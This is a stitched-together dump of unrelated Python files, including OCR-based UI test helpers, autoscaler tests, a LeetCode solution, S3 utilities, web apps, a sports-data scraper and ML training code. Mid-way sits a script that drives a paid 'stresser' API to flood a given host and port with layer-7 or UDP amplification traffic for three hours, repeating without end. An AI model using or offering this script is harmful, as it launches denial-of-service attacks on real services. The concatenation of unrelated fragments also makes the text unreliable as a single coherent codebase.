from datetime import datetime
import os
import time
import pytest
from PIL import Image
from io import BytesIO

# for OCR
# import pytesseract  # Tesseract-OCR
from paddleocr import PaddleOCR  # PaddleOCR

# This sample code uses the Appium python client v2
# pip install Appium-Python-Client
# Then you can paste this into a file and simply run with Python
from appium import webdriver
from appium.webdriver.common.appiumby import AppiumBy
from appium.webdriver.common.touch_action import TouchAction
from selenium.webdriver.common.keys import Keys

# For W3C actions
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.actions import interaction
from selenium.webdriver.common.actions.action_builder import ActionBuilder
from selenium.webdriver.common.actions.pointer_input import PointerInput

dir_path = os.path.dirname(os.path.abspath(__file__))

class AppiumElement:
    driver: webdriver.Remote = None
    ele: webdriver.WebElement = None

    def __init__(self, driver, ele):
        self.driver = driver
        self.ele = ele

    def get_attribute(self, key: str) -> str:
        return self.ele.get_attribute(key)

    def getScreenshot(self) -> Image:
        screenshot = self.driver.get_screenshot_as_png()
        attr = self.get_attribute("ltrb")
        ltrb = attr.split(',')
        return Image.open(BytesIO(screenshot)).crop((int(ltrb[0]), int(ltrb[1]), int(ltrb[2]), int(ltrb[3])))

    def click(self, x: int = None, y: int = None, count: int = 1):
        actions = TouchAction(self.driver)
        actions.tap(self.ele, x, y, count)
        actions.perform()

    def rclick(self):
        actions = TouchAction(self.driver)
        actions.long_press(self.ele)
        actions.perform()

    def input(self, text: str, click=True):
        if (click):
            self.click()
        self.ele.send_keys(text)

    def input_backspace(self, click=False):
        if (click):
            self.click()
        self.ele.send_keys(Keys.BACKSPACE)

    def input_enter(self, click=False):
        if (click):
            self.click()
        self.ele.send_keys(Keys.ENTER)

    def input_escape(self, click=False):
        if (click):
            self.click()
        self.ele.send_keys(Keys.ESCAPE)

    def input_space(self, click=False):
        if (click):
            self.click()
        self.ele.send_keys(Keys.SPACE)

    def input_delete(self, click=False):
        if (click):
            self.click()
        self.ele.send_keys(Keys.DELETE)

class AppiumDriver:
    driver: webdriver.Remote = None

    def __init__(self):
        caps = {}
        caps["appium:driverName"] = "pc"
        caps["appium:automationName"] = "pc"
        caps["platformName"] = "Windows"
        caps["appium:appPath"] = "todo"
        caps["appium:newCommandTimeout"] = 3600
        caps["appium:connectHardwareKeyboard"] = True
        self.driver = webdriver.Remote("http://127.0.0.1:4723", caps)

    def quit(self):
        self.driver.quit()

    def get_page_source(self) -> str:
        return self.driver.page_source

    def getScreenshot(self) -> Image:
        screenshot = self.driver.get_screenshot_as_png()
        return Image.open(BytesIO(screenshot))

    def find_element_by_path(self, path, wait_sec: float = 3) -> AppiumElement:
        start_time = time.time()
        while True:
            try:
                ele = self.driver.find_element(by=AppiumBy.XPATH, value=path)
                return AppiumElement(self.driver, ele)
            except:
                elapsed_time = time.time() - start_time
                if elapsed_time >= wait_sec:
                    break
        return None

    def find_element_by_id(self, id, wait_sec: float = 3) -> AppiumElement:
        start_time = time.time()
        while True:
            try:
                ele = self.driver.find_element(by=AppiumBy.ID, value=id)
                return AppiumElement(self.driver, ele)
            except:
                elapsed_time = time.time() - start_time
                if elapsed_time >= wait_sec:
                    break
        return None

def singleton(cls):
    """
    单例装饰器
    """
    instances = {}

    def wrapper(*args, **kwargs):
        if cls not in instances:
            instances[cls] = cls(*args, **kwargs)
        return instances[cls]

    return wrapper

# @singleton
# class TesseractOCR_singleton:
#     """
#     安装 Tesseract-OCR 可执行程序并添加到 PATH
#     安装 pytesseract 库
#     模型路径 C:/Program Files/Tesseract-OCR/tessdata/*.traineddata

#     图片分割模式（PSM） tesseract有13种图片分割模式（page segmentation mode，psm）：
#     0 — Orientation and script detection (OSD) only. 方向及语言检测（Orientation and script detection，OSD)
#     1 — Automatic page segmentation with OSD. 自动图片分割
#     2 — Automatic page segmentation, but no OSD, or OCR. 自动图片分割，没有OSD和OCR
#     3 — Fully automatic page segmentation, but no OSD. (Default) 完全的自动图片分割，没有OSD
#     4 — Assume a single column of text of variable sizes. 假设有一列不同大小的文本
#     5 — Assume a single uniform block of vertically aligned text. 假设有一个垂直对齐的文本块
#     6 — Assume a single uniform block of text. 假设有一个对齐的文本块（推荐，用于多行文本且字体相同）
#     7 — Treat the image as a single text line. 图片为单行文本（推荐，用于单行文本）
#     8 — Treat the image as a single word. 图片为单词
#     9 — Treat the image as a single word in a circle. 图片为圆形的单词
#     10 — Treat the image as a single character. 图片为单个字符
#     11 — Sparse text. Find as much text as possible in no particular order. 稀疏文本。查找尽可能多的文本，没有特定的顺序。
#     12 — Sparse text with OSD. OSD稀疏文本
#     13 — Raw line. Treat the image as a single text line, bypassing hacks that are Tesseract-specific. 原始行。将图像视为单个文本行。

#     OCR引擎模式（OEM） 有4种OCR引擎模式：
#     0 — Legacy engine only.仅旧版引擎（3.x以前）。
#     1 — Neural nets LSTM engine only.仅神经网络 LSTM 引擎
#     2 — Legacy + LSTM engines.混合模式（传统 + LSTM 引擎）
#     3 — Default, based on what is available.默认，基于可用的内容
#     """

#     def __init__(self):
#         # 已安装的语言包列表
#         self.list = pytesseract.get_languages(config='')

#     def OCR(image: Image, whitelist=None) -> list:
#         # 转换成灰度图像
#         gray_image = image.convert('L')

#         # 字符白名单（不支持中文）
#         config = '--oem 1 --psm 6'
#         if (whitelist != None):
#             config = config + ' -c tessedit_char_whitelist=' + whitelist
#         result: str = pytesseract.image_to_string(
#             gray_image, lang='chi_sim', config=config)
#         return result.replace(' ', '').splitlines()

@singleton
class PaddleOCR_singleton:
    """
    安装 PaddleOCR 库
    版本选择 https://www.paddlepaddle.org.cn/install/quick?docurl=/documentation/docs/zh/install/pip/windows-pip.html
    """

    def __init__(self):
        # print(paddle.__version__)
        # paddle.utils.run_check()
        self.ocr: PaddleOCR = PaddleOCR(
            use_gpu=False, use_angle_cls=True, lang="ch")

    def OCR_file(self, file: str) -> list:
        result = self.ocr.ocr(file)
        text = ""
        for idx in range(len(result)):
            res = result[idx]
            # p1, p2, p3, p4 = res[0]
            s, percent = res[1]
            text = text + s + '\n'
        return text.splitlines()

    def OCR(self, image: Image) -> list:
        now = datetime.now()
        formatted_time = now.strftime(
            "%Y-%m-%d_%H-%M-%S") + "_" + str(now.microsecond // 1000)
        file = os.path.abspath(dir_path + "/temp_" + formatted_time + ".png")
        image.save(file)
        ret = self.OCR_file(file)
        os.remove(file)
        return ret

class Common:
    def OCR(image: Image) -> str:
        arr = PaddleOCR_singleton().OCR(image)
        return '\n'.join(arr)

    def price_to_float(price: str) -> tuple[float, float]:
        try:
            # 移除千分位','
            price = price.replace(',', '')
            # 处理单位 K,M,B,T
            unit = price[-1]
            if unit == 'K':
                return float(price[:-1]), 1000
            elif unit == 'M':
                return float(price[:-1]), 1000 * 1000
            elif unit == 'B':
                return float(price[:-1]), 1000 * 1000 * 1000
            elif unit == 'T':
                return float(price[:-1]), 1000 * 1000 * 1000 * 1000
            elif unit == '万':
                return float(price[:-1]), 10000
            elif unit == '亿':
                return float(price[:-1]), 10000 * 10000
            elif price[-2] == '万亿':
                return float(price[:-2]), 10000 * 10000 * 10000
            return float(price), 1
        except:
            return 0, 0

@pytest.fixture()
def appium_pc_connect() -> AppiumDriver:
    """
    所有测试用例的入口：

    def test_xxx(appium_pc_connect):
        driver: AppiumDriver = appium_pc_connect
        ele: AppiumElement = driver.find_element_by_path(find_path)
        ele.click()
    """
    driver = AppiumDriver()
    print('\n\n--- appium 开始会话 ---')
    yield driver
    print('\n--- appium 结束会话 ---')
    driver.quit()


import datetime
from unittest.mock import Mock, patch

from freezegun import freeze_time

from app.elb_scaler import ElbScaler

app_name = "test-app"
min_instances = 1
max_instances = 2

@patch("app.base_scalers.boto3")
class TestElbScaler:
    input_attrs = {
        "threshold": 1500,
        "elb_name": "notify-paas-proxy",
        "request_count_time_range": {"minutes": 10},
    }

    def test_init_assigns_relevant_values(self, mock_boto3):
        elb_scaler = ElbScaler(app_name, min_instances, max_instances, **self.input_attrs)

        assert elb_scaler.app_name == app_name
        assert elb_scaler.min_instances == min_instances
        assert elb_scaler.max_instances == max_instances
        assert elb_scaler.threshold == self.input_attrs["threshold"]
        assert elb_scaler.elb_name == self.input_attrs["elb_name"]
        assert elb_scaler.request_count_time_range == self.input_attrs["request_count_time_range"]

    def test_cloudwatch_client_initialization(self, mock_boto3):
        mock_client = mock_boto3.client
        elb_scaler = ElbScaler(app_name, min_instances, max_instances, **self.input_attrs)
        elb_scaler.statsd_client = Mock()

        assert elb_scaler.cloudwatch_client is None
        elb_scaler.get_desired_instance_count()
        assert elb_scaler.cloudwatch_client == mock_client.return_value
        mock_client.assert_called_with("cloudwatch", region_name="eu-west-1")

    @freeze_time("2018-03-15 15:10:00")
    def test_get_desired_instance_count(self, mock_boto3):
        # set to 5 minutes, to have a smaller mocked response
        self.input_attrs["request_count_time_range"] = {"minutes": 5}
        cloudwatch_client = mock_boto3.client.return_value
        cloudwatch_client.get_metric_statistics.return_value = {
            "Datapoints": [
                {"Sum": 1500, "Timestamp": 111111110},
                {"Sum": 1600, "Timestamp": 111111111},
                {"Sum": 5500, "Timestamp": 111111112},
                {"Sum": 5300, "Timestamp": 111111113},
                {"Sum": 2100, "Timestamp": 111111114},
            ]
        }

        elb_scaler = ElbScaler(app_name, min_instances, max_instances, **self.input_attrs)
        elb_scaler.statsd_client = Mock()

        assert elb_scaler.get_desired_instance_count() == 2
        cloudwatch_client.get_metric_statistics.assert_called_once_with(
            Namespace="AWS/ELB",
            MetricName="RequestCount",
            Dimensions=[
                {"Name": "LoadBalancerName", "Value": self.input_attrs["elb_name"]},
            ],
            StartTime=elb_scaler._now() - datetime.timedelta(**self.input_attrs["request_count_time_range"]),
            EndTime=elb_scaler._now(),
            Period=60,
            Statistics=["Sum"],
            Unit="Count",
        )
        elb_scaler.statsd_client.gauge.assert_called_once_with("{}.request-count".format(elb_scaler.app_name), 5500)


'''
给定一个数组 nums 和滑动窗口的大小 k，请找出所有滑动窗口里的最大值。

示例:

输入: nums = [1,3,-1,-3,5,3,6,7], 和 k = 3
输出: [3,3,5,5,6,7]
解释:

  滑动窗口的位置                最大值
---------------               -----
[1  3  -1] -3  5  3  6  7       3
 1 [3  -1  -3] 5  3  6  7       3
 1  3 [-1  -3  5] 3  6  7       5
 1  3  -1 [-3  5  3] 6  7       5
 1  3  -1  -3 [5  3  6] 7       6
 1  3  -1  -3  5 [3  6  7]      7

提示：
你可以假设 k 总是有效的，在输

来源：力扣（LeetCode）
链接：https://leetcode-cn.com/problems/hua-dong-chuang-kou-de-zui-da-zhi-lcof
著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。
'''
import collections
class Solution:
    def maxSlidingWindow(self, nums, k):
        if not nums or k == 0: return []
        deque = collections.deque()
        # 未形成窗口,数组初始位置到正好形成长度为k的窗口
        for i in range(k):
            # 如果队列不为空 并且队列最后一个元素是 小于新遍历的元素，保持队列 递减 不增的状态
            while deque and deque[-1] < nums[i]:
                deque.pop()
            deque.append(nums[i])
        # 队列初始最前端为 最大值。
        res = [deque[0]]
        # 形成窗口后
        for i in range(k, len(nums)):
            # 窗口往右滑动，需要删除原窗口最左边的元素，添加新元素到最右侧
            # 同时要维护 递减队列， 如果删除的元素是递减队列中最大的值，则队列对应元素也需要出队列
            if deque[0] == nums[i - k]:
                deque.popleft()
            #
            while deque and deque[-1] < nums[i]:
                deque.pop()
            deque.append(nums[i])
            res.append(deque[0])
        return res

单调栈问题/剑指 Offer 59 - I. 滑动窗口的最大值.py


from botocore.exceptions import ClientError
import boto3
import logging

from s3drizzle import (
    logs
)

def create_bucket(client, bucket):
    logging.info('Create bucket {bucket}.'.format(
        bucket=bucket
    ))
    client.create_bucket(
        Bucket=bucket,
    )

def destroy_bucket(args, client, bucket):
    logging.info('Deleting bucket {bucket}.'.format(
        bucket=bucket
    ))
    try:
        client.delete_bucket(
            Bucket=bucket
        )
        return True
    except ClientError as e:
        if e.response['Error']['Code'] == 'NoSuchBucket':
            logging.info('Bucket {bucket} does not exist, but that is ok...continuing.'.format(
                bucket=bucket
            ))
            return
        raise e

def deploy_file(client, bucket, path, file_content):
    logging.info("Creating {path} in bucket {bucket}.".format(
        path=path,
        bucket=bucket
    ))
    client.put_object(
        ACL='public-read',
        Body=file_content,
        Bucket=bucket,
        ContentType="text/html",
        Key=path
    )

def empty_bucket(args, session, bucket):
    logging.info('Emptying bucket {bucket}.'.format(
        bucket=bucket
    ))
    try:
        bucket_session = session.Bucket(bucket)
        bucket_session.object_versions.delete()
    except ClientError as e:
        if e.response['Error']['Code'] == 'NoSuchBucket':
            logging.info('Bucket {bucket} does not exist, but that is ok...continuing.'.format(
                bucket=bucket
            ))
            return
        raise e

def enable_access_logging(client, source_bucket, log_bucket):
    logging.info('Enable bucket access logging for {bucket} to {log}.'.format(
        bucket=source_bucket,
        log=log_bucket
    ))
    client.put_bucket_logging(
        Bucket=source_bucket,
        BucketLoggingStatus={
            'LoggingEnabled': {
                'TargetBucket': log_bucket,
                'TargetPrefix': ''
            }
        },
    )

def grant_logging_access(client, log_bucket):
    logging.info('Granting logging access to {bucket}.'.format(
        bucket=log_bucket
    ))
    canonical_id = get_canonical_id(client)
    client.put_bucket_acl(
        Bucket=log_bucket,
        GrantFullControl='id={canonical_id}'.format(canonical_id=canonical_id),
        GrantWrite='uri=http://acs.amazonaws.com/groups/s3/LogDelivery',
        GrantReadACP='uri=http://acs.amazonaws.com/groups/s3/LogDelivery',
    )

def get_canonical_id(client):
    buckets = client.list_buckets()
    return buckets['Owner']['ID']

def get_relevent_requests(args):
    session = boto3.Session(profile_name=args.profile)
    client = session.client('s3')

    relevant_requests = []
    response = None
    response = client.list_objects_v2(Bucket=args.log_bucket)

    if 'Contents' in response.keys():
        for s3_object in response['Contents']:
            s3_object_body = get_object_data(
                client,
                args.log_bucket,
                s3_object['Key']
            )

            s3_log_lines = s3_object_body.splitlines()

            for line in s3_log_lines:
                if "S3Console" in line or "REST.HEAD.OBJECT" not in line:
                    continue
                parsed_line = logs.parse_s3_log_line(line)
                uri = parsed_line[8].split(" ")[1]
                if (parsed_line[6] == "REST.HEAD.OBJECT"
                        and args.session in uri):
                    relevant_requests.append(uri)

    return relevant_requests

def get_object_data(client, bucket, object_key):
    response = client.get_object(
        Bucket=bucket,
        Key=object_key)
    return response['Body'].read().decode("utf-8")


import time
import os
import requests
import sys
import json
import validators
from dotenv import load_dotenv

load_dotenv()

apiKey = os.getenv("API_KEY")
apiPath = "https://stresser.ai/api/api.php"
host = sys.argv[1]
port = sys.argv[2]
duration = 10800

def hitRequest():
    print(f"Start hit {host}:{port}")
    url = f"{apiPath}?key={apiKey}"
    if validators.url(host):
        url = f"{url}&action=layer7&host={host}&port={port}&time={duration}&method=STORM"
    else:
        locale = os.getenv("LOCALE") or ""
        url = f"{url}&action=layer4&host={host}&port={port}&time={duration}&method=UDP-AMP&locale={locale}"

    r = requests.get(url)
    print(r.text)

    text = json.loads(r.text)
    return text["status"] == True

while True:
    if hitRequest() is False:
        print("STOP")
        break
    time.sleep(duration + 5)


from django.shortcuts import render, get_object_or_404
from django.views.generic import DetailView
from .models import ProjectImageUpload, Summary, Skill, Education, Project, Work, Profile, Certification, Service, Contact
from django.http import HttpResponse
from django.core.mail import send_mail
# Create your views here.

class ProjectDetailView(DetailView):
    model = Project
    context_object_name = 'project'

def index(request):
    summary = Summary.objects.all()
    skills = Skill.objects.all()
    education = Education.objects.filter().order_by("-start_date")
    work = Work.objects.all()
    profile = Profile.objects.all()
    certification = Certification.objects.all()
    project = Project.objects.all()
    services = Service.objects.all()
    skills_list_1 = skills[:3]
    skills_list_2 = skills[4:]

    if request.method == "POST":
        contact = Contact()
        name = request.POST.get("name")
        email = request.POST.get("email")
        subject = request.POST.get("subject")
        description = request.POST.get("message")
        contact.name = name
        contact.email = email
        contact.subject = subject
        contact.message = description

        data = {
            'name':name,
            'email':email,
            'subject':subject,
            'message':description
        }

        message = '''
        Name: {}
        From: {}

        New Message: {}

        '''.format(data['name'], data['email'], data['message'])

        send_mail(data['subject'], message,"",['chuksikey@gmail.com'])
        contact.save()
        return render(request, "portfolio/thankyou.html")

    context = {
        "summary": summary,
        "skills_1": skills_list_1,
        "skills_2": skills_list_2,
        "education": education,
        "work": work,
        "profile":profile,
        "certification": certification,
        "project":project,
        "services":services,

    }

    return render(request, "portfolio/home.html", context)

def project(request, id):
    project = get_object_or_404(Project, id=id)
    photos = ProjectImageUpload.objects.filter(project=project)
    context = {
        "project": project,
        "photos": photos
    }
    return render(request, "portfolio/project_detail.html", context)


import requests
import psycopg2
import json
from Utilities import yearsGenerator
from time import sleep
import sys

# if ran will update players table by populating with nba_id, name, team_nba_id, height, weight, draft team, draft pick, draft year, college, country
startUrl = "https://stats.nba.com/stats/leaguedashplayerbiostats"

conn = psycopg2.connect("dbname=basketball user = nd2")
cur = conn.cursor()
types = set(["Regular Season", "Playoffs", "Pre Season"])
years = yearsGenerator(19,5)

if (sys.argv[1] == "update"):
    years = yearsGenerator(19,1)

playersSeen = set()
print("start")

for year in years:
    for type in types:
        sleep(2)
        params = dict(LeagueID="00",Season=year,SeasonType=type,PerMode="Totals")
        resp = requests.get(url=startUrl, params = params, headers = {'User-Agent' :  'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0'})
        jsonFile = json.loads(resp.text)
        players = jsonFile['resultSets'][0]['rowSet']
        for player in players:
            nbaId = player[0]
            if nbaId not in playersSeen:
                name = player[1]
                height = player[6]
                weight = player[7]
                college = player[8]
                country = player[9]
                draftYear = player[10]
                draftPick = 0
                if draftYear != "Undrafted" and player[12] is not None:
                    draftPick = int(player[12])
                if draftYear == "Undrafted":
                    draftYear = 0
                playersSeen.add(nbaId)
                #print(name)
                cur.execute("insert into players (nba_name,msf_name,dk_name,rg_name, nba_id, height, weight, college, birth_country, draft_year, draft_number) values (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s) on conflict (nba_id) do update set nba_name = %s, nba_id = %s, height = %s, weight = %s, college = %s, birth_country = %s, draft_year = %s, draft_number = %s",(name,name,name,name,nbaId,height,weight,college,country,draftYear,draftPick,name,nbaId,height,weight,college,country,draftYear,draftPick))
                conn.commit()

# print("next")

# url ="https://stats.nba.com/stats/commonallplayers?LeagueID=00&Season=2017-18&IsOnlyCurrentSeason=00"
# resp = requests.get(url=url, params = params, headers = {'User-Agent' :  'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0'})

# jsonFile = json.loads(resp.text)
# players = jsonFile['resultSets'][0]['rowSet']
# for player in players:
#     id = player[0]
#     nameNba = player[2]
#     print(nameNba)
#     cur.execute("insert into players (nba_id,nba_name) values (%s,%s) on conflict (nba_id) do update set nba_name = %s",(id,nameNba,nameNba))
#     conn.commit()

cur.close()
conn.close()


from django.urls import path, include

from apps.takes.api import views as takes_views

app_name = "api"

urlpatterns = [
    path("auth/", include("dj_rest_auth.urls")),
    path("auth/signup/", include("dj_rest_auth.registration.urls")),
    path("explore/", takes_views.ExploreApiView.as_view(), name="explore"),
    path("take/<slug:slug>/", takes_views.QuizTakeApiView.as_view(), name="take"),
    path("results/", takes_views.QuizTakeResultsApiView.as_view(), name="results"),
]


from posixpath import split
import pandas as pd
import nltk
from nltk.corpus import stopwords
from sklearn.feature_extraction.text import CountVectorizer
import string
from sklearn.naive_bayes import MultinomialNB
import pickle

nltk.download('stopwords')
vectorizer= CountVectorizer()

def get_df():
    p_df=pd.DataFrame(columns=['Text','Label'])
    df=pd.read_csv('Dataset.csv')
    p_df['Text']=df['Text']
    p_df['Label']=df['Label']
    #print(p_df)
    return p_df

def input_process(text):
    translator= str.maketrans('','', string.punctuation)
    nopunc= text.translate(translator)
    words=[word for word in nopunc.split() if word.lower() not in stopwords.words('english')]
    return ' '.join(words)

def remove_stopwords(input):
    final_input=[]
    for line in input:
        line=input_process(line)
        final_input.append(line)
    return final_input

def train_model(df):
    input= df['Text']
    output= df['Label']
    input= remove_stopwords(input)
    df['Text']=input
    input= vectorizer.fit_transform(input)
    model=MultinomialNB()
    model.fit(input,output)
    return model

if __name__=='__main__':
    df=get_df()
    model=train_model(df)
    pickle.dump(model,open('NB.model','wb'))
    pickle.dump(vectorizer, open('vectorizer.pickle','wb'))


#!/usr/bin/env python3
"""
  This demo application demonstrates the functionality of the safrs documented REST API
  When safrs is installed, you can run this app:
  $ python3 demo_relationship.py [Listener-IP]
  This will run the example on http://Listener-Ip:5000
  - An sqlite database is created and populated
  - A jsonapi rest API is created
  - Swagger documentation is generated
"""
import os
import sys

import pandas as pd
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from safrs import SAFRSBase, SAFRSAPI

from app.logging_config import logging_setup

db = SQLAlchemy()

# sqla database objects
class Winery(SAFRSBase, db.Model):
    __tablename__ = "winery"
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String, default="")
    country_id = db.Column(db.Integer, db.ForeignKey("countries.id"))
    province_id = db.Column(db.Integer, db.ForeignKey("province.id"))
    country = db.relationship("Country", back_populates="winery")
    province = db.relationship("Province", back_populates="winery")

class Province(SAFRSBase, db.Model):
    __tablename__ = "province"
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String, default="")
    country_id = db.Column(db.Integer, db.ForeignKey("countries.id"))
    winery = db.relationship("Winery", back_populates="province")
    country = db.relationship("Country", back_populates="province")

class Country(SAFRSBase, db.Model):
    __tablename__ = "countries"
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String, default="")
    winery = db.relationship("Winery", back_populates="country")
    province = db.relationship("Province", back_populates="country")

# create the api endpoints
def create_api(app, base_url="localhost", host="localhost", port=4000, api_prefix=""):
    # api = SAFRSAPI(app, host=host, port=port, prefix=api_prefix)
    api = SAFRSAPI(app, host=host, port=port, prefix=api_prefix, title='Wine Data - Country/Winery API',
                   description='A simple Wine data API (wineries and countries)')

    api.expose_object(Country)
    api.expose_object(Winery)
    api.expose_object(Province)
   # print(f"Created API: http://{host}:{port}/{api_prefix}")

def create_app(config_filename=None, host="localhost"):
    logging_setup()  # create and configure the app

    app = Flask("demo_app")
    path = os.path.dirname(os.path.abspath(__file__))
    db_path = os.path.join(path, '..', 'instance', 'file.db')
    app.config.update(SQLALCHEMY_DATABASE_URI="sqlite:///" + db_path)
    app.config.update(SQLALCHEMY_TRACK_MODIFICATIONS=False)

    db.init_app(app)

    with app.app_context():
        database_path = os.path.join(path, '..', 'instance', 'file.db')
        #os.remove(database_path)
        db.create_all()
        # Populate the db with countries and a wineries and add the winery to the country.winery relationship
        path = os.path.dirname(os.path.abspath(__file__))
        data_path = os.path.join(path, '..', 'data', 'wines.csv')
        # makes data frame to hold the world wineries data
        df = pd.read_csv(data_path)
        # Gets a list of unique countries from the data frame
        countries = df.country.unique()
        province = df.province.unique()

        for country_name in countries:
            # this creates a country model based on Sqlalchemy model
            country = Country()
            country.name = country_name
            # get a list of wineries from the data frame that are in the country selected
            winery = df.loc[df.country == country_name]
            province = df.loc[df.country == country_name]

            # looping through all winery
            for winery_string in winery['winery']:
                # Create a new winery
                winery = Winery()
                # Set the name
                winery.name = winery_string
                # append the city to the country
                country.winery.append(winery)

            # looping through all province
            #for province_string in province['province']:
            #    # Create a new province
            #    province = Province()
            #    # Set the name
             #   province.name = province_string
            #    # append the city to the country
            #    country.province.append(province)

        for province_name in province:
            # this creates a country model based on Sqlalchemy model
            province = Province()
            province.name = province_name
            # get a list of wineries from the data frame that are in the country selected
            winery = df.loc[df.province == province_name]

            # looping through all wineries
            for winery_string in winery['winery']:
                # Create a new winery
                winery = Winery()
                # Set the name
                winery.name = winery_string
                # append the city to the country
                province.winery.append(winery)

        create_api(app, host)

    return app

# address where the api will be hosted, change this if you're not running the app on localhost!
host = sys.argv[1] if sys.argv[1:] else "127.0.0.1"
app = create_app(host=host)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True)


from flask import Flask, render_template, request
from src.pipeline.predict_pipeline import PredictPipeline
import pandas as pd
import numpy as np
import datetime as dt
import math

app = Flask(__name__)

airline_names = ['Air India','Air Asia', 'Spice Jet','Indigo','GoAir','Jet Airways','Jet Airways Business','Multiple carriers', 'Multiple carriers Premium economy','Trujet', 'Vistara', 'Vistara Premium economy']
sources = ['Banglore','Kolkata','Delhi','Chennai','Mumbai']
destination = ['New Delhi','Banglore','Cochin','Kolkata','Delhi','Hyerbad']
stops = ['non-stop','1 stop','2 stops','3 stops','4 stops']
@app.route('/',methods=['GET','POST'])
def home():
    return render_template('index.html',airways=airline_names,source = sources,destination=destination,stops=stops)

@app.route('/predict',methods=['GET','POST'])
def predict():
    print('predicting...')
    print(request.method)
    if request.method == 'POST':
        airway= request.form.get('Airline')
        date = request.form.get('date')
        source = request.form.get('Source')
        destination = request.form.get('Destination')
        dep_time = request.form.get('dep_time')
        arr_time = request.form.get('arr_time')
        stops = request.form.get('Total_Stops')

        dl = date.split('-')
        date = dl[2]+'/'+dl[1]+'/'+dl[0]
        print(date)
        print(dep_time,',',arr_time)
        dur = f"{abs(int(arr_time.split(':')[0])- int(dep_time.split(':')[0]))}h {abs(int(arr_time.split(':')[1]) - int(dep_time.split(':')[1]))}m"
        print(dur)
        data = {
            "Airline" : airway,
            "Date_of_Journey" : date,
            "Source" : sources,
            "Destination" : destination,
            "Route" : "route",
            "Dep_Time" : dep_time,
            "Arrival_Time" : arr_time,
            "Duration" : dur,
            "Total_Stops" : stops,
            "Additional_Info" : "info"
        }
        df = pd.DataFrame(data)
        pred = PredictPipeline().predict(df.iloc[0])
        print(pred)

        return render_template('predict.html',h1=math.ceil(pred[0]))
    else:
        return render_template('predict.html',h1='error')

if __name__ == '__main__':
    app.run(debug=True,host='0.0.0.0',port=5000)


import sys
import math
import argparse
import torch.distributed as dist
import torch.multiprocessing as mp
import utils
from greedrl import Solver

def do_train(args, rank):
    world_size = args.world_size
    model_filename = args.model_filename
    problem_size = args.problem_size
    batch_size = args.batch_size

    index = model_filename.rfind('.')
    if world_size > 1:
        stdout_filename = '{}_r{}.log'.format(model_filename[0:index], rank)
    else:
        stdout_filename = '{}.log'.format(model_filename[0:index])

    stdout = open(stdout_filename, 'a')
    sys.stdout = stdout
    sys.stderr = stdout

    print("args: {}".format(vars(args)))
    if world_size > 1:
        dist.init_process_group('NCCL', init_method='tcp://127.0.0.1:29500',
                                rank=rank, world_size=world_size)

    problem_batch_size = 8
    batch_count = 0
    if problem_size == 100:
        batch_count = math.ceil(10000 / problem_batch_size)
    elif problem_size == 1000:
        batch_count = math.ceil(200 / problem_batch_size)
    elif problem_size == 2000:
        batch_count = math.ceil(100 / problem_batch_size)
    elif problem_size == 5000:
        batch_count = math.ceil(10 / problem_batch_size)
    else:
        raise Exception("unsupported problem size: {}".format(problem_size))

    nn_args = {
        'encode_norm': 'instance',
        'encode_layers': 6,
        'decode_rnn': 'LSTM'
    }

    device = None if world_size == 1 else 'cuda:{}'.format(rank)
    solver = Solver(device, nn_args)

    train_dataset = utils.Dataset(None, problem_batch_size, problem_size)
    valid_dataset = utils.Dataset(batch_count, problem_batch_size, problem_size)

    solver.train(model_filename, train_dataset, valid_dataset,
                 train_dataset_workers=5,
                 batch_size=batch_size,
                 memopt=10,
                 topk_size=1,
                 init_lr=1e-4,
                 valid_steps=500,
                 warmup_steps=0)

if __name__ == '__main__':

    parser = argparse.ArgumentParser()
    parser.add_argument('--world_size', default=1, type=int, help='number of distributed processes')
    parser.add_argument('--model_filename', type=str, help='model file name')
    parser.add_argument('--problem_size', default=100, type=int, choices=[100, 1000, 2000, 5000],  help='problem size')
    parser.add_argument('--batch_size', default=128, type=int,  help='batch size for training')

    args = parser.parse_args()

    processes = []
    for rank in range(args.world_size):
        p = mp.Process(target=do_train, args=(args, rank))
        p.start()
        processes.append(p)

    for p in processes:
        p.join()


import pandas as pd
import numpy as np
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split, KFold
from iotpackage.Utils import findOptimalThreshold, plotAUCCurve, plotCM, getDevicesDataset, getDeviceNameAndNumber, getDatasetAndDevice, getCategoryMapping, addToListMapping, findCategory, remapLabel
from iotpackage.FeatureSelection import FeatureSelector
from sklearn.metrics import accuracy_score, precision_recall_fscore_support, roc_curve, roc_auc_score
from sklearn.preprocessing import OneHotEncoder
from progressbar import progressbar, ProgressBar
from psutil import cpu_count
from datetime import datetime
from iotpackage.__vars import companyCategories, generalCategories
import os

class NonIotFilter():
    fs = None #Feature Selector
    clf = None #Main Classifier
    filtering_method = None # The method you want to select to filter data when predicting
    printDetails = True

    def __init__(self, fs, n_estimators=100, n_jobs=-1, filtering_method='threshold'):
        self.fs = fs
        self.clf = RandomForestClassifier(n_estimators=n_estimators, n_jobs=n_jobs)
        self.filtering_method = filtering_method
    def fit(self, data, y, positive_label='IoT'): # Fit Function Call Made Visisble
        y = y.apply(lambda x: 1 if x == positive_label else 0)
        self.fs.fit(data)
        X = self.fs.transform(data)
        self.clf.fit(X,y)
        return

    def predict(self, data, y=None, positive_label='IoT', save_path=None):   # Predict Function Call Made Visible
        y = y.apply(lambda x: 1 if x == positive_label else 0)
        y_pred_auto, y_pred_prob = self.__predict_clf(data)
        auc_score, opt_threshold = self.__compute_threshold(y, y_pred_prob)
        y_pred_threshold = self.__compute_pred_threshold(opt_threshold, y_pred_prob)

        # Saving the results in the csv file
        if save_path is not None:
            result_file = save_path + '-iot-non-iot.csv'
            result_columns = ['T-Accuracy', 'T-Precision', 'T-Recall', 'A-Accuracy', 'A-Precision', 'A-Recall']
            if os.path.exists(result_file):
                result_df = pd.read_csv(result_file)
            else:
                result_df = pd.DataFrame(columns=result_columns)
            idx = result_df.shape[0]
            t_acc = accuracy_score(y, y_pred_threshold)
